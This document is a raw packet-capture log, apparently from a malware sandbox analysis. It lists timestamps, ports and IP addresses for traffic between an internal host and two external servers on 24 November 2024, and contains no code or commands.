Nov 24, 2024 00:06:50.207736015 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:50.207768917 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:50.208507061 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:50.208544970 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:50.208604097 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:50.208646059 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:50.209383965 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:50.209424973 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:50.209543943 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:50.209580898 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:50.210269928 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:50.210306883 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:50.210369110 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:50.210405111 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:50.211127996 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:50.211167097 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:50.211323977 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:50.211430073 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:50.211997986 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:50.212034941 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:50.212121010 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:50.212169886 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:50.212945938 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:50.212986946 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:50.212991953 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:50.213018894 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:50.213778019 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:50.213886023 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:50.213922977 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:50.214641094 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:50.214679956 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:50.214699984 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:50.214745045 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:50.215518951 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:50.215563059 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:50.215629101 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:50.215667963 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:50.216406107 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:50.216500998 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:50.216521978 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:50.216557026 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:50.217264891 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:50.217305899 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:50.217364073 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:50.217442036 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:50.218183041 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:50.218220949 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:50.218261957 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:50.218293905 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:50.219037056 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:50.219086885 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:50.219114065 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:50.219150066 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:50.219918013 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:50.219964981 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:50.220025063 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:50.220077038 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:50.220791101 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:50.220829964 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:50.220892906 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:50.220928907 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:50.221666098 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:50.221703053 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:50.221761942 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:50.221934080 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:50.222548962 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:50.222584009 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:50.222650051 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:50.222860098 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:50.223397970 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:50.223436117 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:50.266360044 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:50.266444921 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:50.266477108 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:50.266508102 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:50.266794920 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:50.266843081 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:50.266906977 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:50.266966105 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:50.267663002 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:50.267704964 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:50.267998934 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:50.268039942 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:50.268120050 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:50.268156052 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:50.317940950 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:50.318012953 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:50.318084955 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:50.318233013 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:50.318375111 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:50.318412066 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:50.318423986 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:50.318458080 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:50.319257975 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:50.319309950 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:50.319356918 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:50.319396019 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:50.320125103 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:50.320180893 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:50.320388079 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:50.320425034 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:50.320575953 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:50.320645094 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:50.321269989 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:50.321338892 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:50.321377993 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:50.321450949 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:50.322194099 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:50.322267056 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:50.322294950 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:50.322348118 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:50.323050976 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:50.323167086 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:50.323210955 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:50.323926926 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:50.323991060 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:50.324028969 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:50.324067116 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:50.324780941 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:50.324839115 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:50.324843884 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:50.324876070 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:50.325704098 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:50.325717926 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:50.325757027 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:50.325776100 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:50.325860023 CET	443	49880	13.107.246.40	192.168.2.6
Nov 24, 2024 00:06:50.325889111 CET	443	49880	13.107.246.40	192.168.2.6
Nov 24, 2024 00:06:50.325898886 CET	443	49880	13.107.246.40	192.168.2.6
Nov 24, 2024 00:06:50.325911045 CET	443	49880	13.107.246.40	192.168.2.6
Nov 24, 2024 00:06:50.325926065 CET	443	49880	13.107.246.40	192.168.2.6
Nov 24, 2024 00:06:50.325938940 CET	49880	443	192.168.2.6	13.107.246.40
Nov 24, 2024 00:06:50.325952053 CET	443	49880	13.107.246.40	192.168.2.6
Nov 24, 2024 00:06:50.325962067 CET	443	49880	13.107.246.40	192.168.2.6
Nov 24, 2024 00:06:50.325983047 CET	49880	443	192.168.2.6	13.107.246.40
Nov 24, 2024 00:06:50.326008081 CET	49880	443	192.168.2.6	13.107.246.40
Nov 24, 2024 00:06:50.326560020 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:50.326623917 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:50.326658010 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:50.326694012 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:50.327410936 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:50.327470064 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:50.327492952 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:50.327538013 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:50.328355074 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:50.328396082 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:50.328452110 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:50.328493118 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:50.402779102 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:50.402810097 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:50.402870893 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:50.402992010 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:50.403042078 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:50.403117895 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:50.403260946 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:50.403882980 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:50.403995991 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:50.403999090 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:50.404033899 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:50.404747963 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:50.404800892 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:50.404844999 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:50.404927969 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:50.405653954 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:50.405708075 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:50.405795097 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:50.405936956 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:50.406512976 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:50.406573057 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:50.406608105 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:50.406645060 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:50.407439947 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:50.407490015 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:50.407586098 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:50.407636881 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:50.408262014 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:50.408358097 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:50.408404112 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:50.408441067 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:50.409135103 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:50.409225941 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:50.409255028 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:50.409292936 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:50.410037041 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:50.410095930 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:50.410164118 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:50.410386086 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:50.410907030 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:50.410948992 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:50.411010981 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:50.411053896 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:50.411791086 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:50.411909103 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:50.411933899 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:50.411948919 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:50.412657022 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:50.412712097 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:50.412749052 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:50.412787914 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:50.413533926 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:50.413589954 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:50.413625002 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:50.413666964 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:50.414395094 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:50.414446115 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:50.414524078 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:50.414604902 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:50.415291071 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:50.415334940 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:50.415391922 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:50.415432930 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:50.416157961 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:50.416207075 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:50.416268110 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:50.416306973 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:50.417058945 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:50.417181969 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:50.417248964 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:50.417287111 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:50.417903900 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:50.417947054 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:50.418061972 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:50.418193102 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:50.418783903 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:50.418834925 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:50.418881893 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:50.418922901 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:50.419713974 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:50.419779062 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:50.419828892 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:50.419914961 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:50.420542002 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:50.420595884 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:50.420640945 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:50.420802116 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:50.421437025 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:50.421500921 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:50.421576023 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:50.421681881 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:50.422306061 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:50.422368050 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:50.422410965 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:50.422508001 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:50.423197031 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:50.423261881 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:50.423296928 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:50.423341036 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:50.424060106 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:50.424127102 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:50.424166918 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:50.424228907 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:50.424921989 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:50.424997091 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:50.425033092 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:50.425131083 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:50.425796032 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:50.425848007 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:50.425928116 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:50.425965071 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:50.426687956 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:50.426748991 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:50.426790953 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:50.426825047 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:50.427566051 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:50.427625895 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:50.427645922 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:50.427680969 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:50.428450108 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:50.428512096 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:50.428580999 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:50.428622961 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:50.429321051 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:50.429377079 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:50.429469109 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:50.429563999 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:50.430180073 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:50.430234909 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:50.430278063 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:50.430372953 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:50.431083918 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:50.431133032 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:50.431194067 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:50.431232929 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:50.431971073 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:50.432022095 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:50.432079077 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:50.432126999 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:50.432842970 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:50.432892084 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:50.432929039 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:50.432960033 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:50.433722973 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:50.433793068 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:50.433816910 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:50.433880091 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:50.476926088 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:50.476989985 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:50.477047920 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:50.477267027 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:50.477366924 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:50.477406979 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:50.477475882 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:50.477513075 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:50.478255033 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:50.478308916 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:50.478344917 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:50.478564978 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:50.479113102 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:50.479152918 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:50.517251968 CET	443	49880	13.107.246.40	192.168.2.6
Nov 24, 2024 00:06:50.517267942 CET	443	49880	13.107.246.40	192.168.2.6
Nov 24, 2024 00:06:50.517302990 CET	443	49880	13.107.246.40	192.168.2.6
Nov 24, 2024 00:06:50.517338037 CET	443	49880	13.107.246.40	192.168.2.6
Nov 24, 2024 00:06:50.517343998 CET	49880	443	192.168.2.6	13.107.246.40
Nov 24, 2024 00:06:50.517363071 CET	443	49880	13.107.246.40	192.168.2.6
Nov 24, 2024 00:06:50.517376900 CET	49880	443	192.168.2.6	13.107.246.40
Nov 24, 2024 00:06:50.517406940 CET	49880	443	192.168.2.6	13.107.246.40
Nov 24, 2024 00:06:50.529476881 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:50.529545069 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:50.529599905 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:50.529643059 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:50.529879093 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:50.529964924 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:50.530062914 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:50.530114889 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:50.530174971 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:50.530220032 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:50.530946970 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:50.531003952 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:50.531075001 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:50.531116962 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:50.531838894 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:50.531886101 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:50.531896114 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:50.531929016 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:50.532716990 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:50.532763004 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:50.532891035 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:50.532941103 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:50.533590078 CET	80	49818	185.215.113.206	192.168.2.6
